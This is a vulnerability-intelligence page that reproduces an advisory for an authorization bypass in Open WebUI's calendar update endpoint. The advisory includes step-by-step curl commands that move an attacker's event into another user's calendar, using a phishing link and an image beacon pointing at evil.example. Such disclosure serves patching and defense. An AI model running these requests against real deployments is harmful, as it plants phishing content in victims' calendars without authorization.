Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Network API, low complexity; PR:L for required user account; victim UUID prerequisite does not raise AC given normal app sharing flows; I:L for cross-user calendar write; C:N confirmed because attacker loses read access post-move.
Primary rating from Vendor (https://github.com/open-webui/open-webui).
CVSS VectorVendor: https://github.com/open-webui/open-webui
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
Summary
POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event *currently* belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.
A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know - bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.
Details
Sink - missing destination check
backend/open_webui/routers/calendar.py:283-297
@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
request: Request, event_id: str, form_data: CalendarEventUpdateForm,
user: UserModel = Depends(get_verified_user)
):
await check_calendar_permission(request, user)
event = await CalendarEvents.get_event_by_id(event_id)
if not event:
raise HTTPException(status_code=404, detail='Event not found')
await _check_calendar_access(event.calendar_id, user, 'write')
# ← SOURCE only
updated = await CalendarEvents.update_event_by_id(event_id, form_data)
# ← writes form_data.calendar_id
...backend/open_webui/models/calendar.py:658-693 (update_event_by_id)
update_data = form_data.model_dump(exclude_unset=True)
for field in [
'calendar_id',
# ← destination persisted with no ACL
'title', 'description', 'start_at', 'end_at', 'all_day',
'rrule', 'color', 'location', 'is_cancelled',
]:
if field in update_data:
setattr(event, field, update_data[field])Reference - create_event does check the destination
backend/open_webui/routers/calendar.py:255
await _check_calendar_access(form_data.calendar_id, user, 'write')Default-config gates (both True)
backend/open_webui/config.py:1658-1662-ENABLE_CALENDARdefaults'True'backend/open_webui/config.py:1554-USER_PERMISSIONS_FEATURES_CALENDARdefaults'True'backend/open_webui/main.py:1457- router mounted unconditionally
PoC
Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.
1. Environment
git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d
# http://localhost:3000Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.
2. Obtain the victim's calendar_id
Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:
- Read-only share - victim (or a group admin) grants the attacker
readon a calendar; the ID is returned byGET /api/v1/calendars/. - Event invitation - victim adds the attacker as an attendee on any event; the event payload (
CalendarEventModel,models/calendar.py:127) includescalendar_id. - Any side-channel (logs, screenshots, browser history).
For reproduction the maintainer can simply read it as the victim:
VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')3. Control - direct create is correctly blocked
curl -s -o /dev/null -w '%{http_code}\n' \
-X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 4034. Exploit - create-then-reparent
ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
# 2. move into victim's calendar - NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
-H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
-d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"5. Verification from victim's session
curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
-H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.toolObserved output (truncated):
[{
"id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
"calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
"user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
"title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
"description": "Session expired.",
...
}]The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 - confirming the move succeeded and the attacker has no legitimate access to the destination.
Impact
- Read-only → write escalation on shared calendars: a user granted
readviaAccessGrantscan effectively write. - Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (
CalendarEventChip.svelte:12 → common/Tooltip.svelte) renderstitle/locationas DOMPurify-sanitised HTML withallowHTML=true, so an attacker can embed formatted links and<img>beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
AnalysisAI
{event_id}/update endpoint validates write access only on the source calendar, silently omitting the destination calendar_id authorization check that create_event correctly enforces - a classic IDOR pattern. A verified public proof-of-concept exists against v0.9.4 (the official Docker image); the fix is available in v0.9.6. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires a valid authenticated user-role account on the Open WebUI instance (not admin, not unauthenticated - standard user suffices). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) is technically accurate but understates operational risk in shared or multi-tenant deployments. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a standard user-role account, who has previously received a calendar share or event invitation from the victim (thus obtaining their calendar UUID), crafts an event in their own calendar with a phishing title such as 'Mandatory re-auth' and an `<img src='https://evil.example/beacon.png'>` in the location field. They immediately call `POST /api/v1/calendars/events/{event_id}/update` with the victim's calendar UUID as `calendar_id`; the server validates write access only against the attacker's source calendar and persists the move without further checks. … |
| Remediation | Vendor-released patch: v0.9.6 of `pip/open-webui`. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38535
GHSA-f3g7-59qc-pqg6